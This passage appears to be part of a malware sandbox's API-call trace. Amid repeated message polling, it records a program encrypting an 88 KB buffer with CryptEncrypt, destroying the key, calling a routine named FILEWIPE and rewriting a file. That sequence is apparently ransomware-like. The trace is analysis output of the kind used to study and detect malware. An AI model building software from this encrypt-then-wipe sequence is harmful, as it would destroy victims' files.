lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.255] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.255] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.255] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.255] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.255] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.256] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.256] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15888, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15890) returned 1 [0025.256] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.256] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.256] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.256] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.256] CharLowerBuffW (in: lpsz="byte[88209]", cchLength=0xb | out: lpsz="byte[88209]") returned 0xb [0025.256] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.257] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.257] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.257] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.257] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.257] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41b6240*, pdwDataLen=0xe8f3dfdf68*=0x15888, dwBufLen=0x15890 | out: pbData=0xe8f41b6240*, pdwDataLen=0xe8f3dfdf68*=0x15890) returned 1 [0025.257] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.257] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.257] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.258] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.258] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.258] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.258] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.264] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.264] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.264] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.264] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.264] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.264] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.264] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.264] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0025.264] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.264] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.264] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.264] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.264] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.265] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.265] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.265] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.265] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.265] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.265] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.265] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.265] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.268] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.268] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.268] CharLowerBuffW (in: lpsz="byte[88200]", cchLength=0xb | out: lpsz="byte[88200]") returned 0xb [0025.269] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.269] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.269] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.269] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.270] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.270] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.270] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.271] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.271] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.271] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.271] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.273] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.273] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.273] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.273] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.273] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.273] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.273] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.273] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.273] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.273] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4812) returned 1 [0025.273] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.273] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.274] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.274] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x12cc, lpOverlapped=0x0) returned 1 [0025.274] ReadFile (in: hFile=0x188, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.274] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x12cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.274] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4812) returned 1 [0025.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 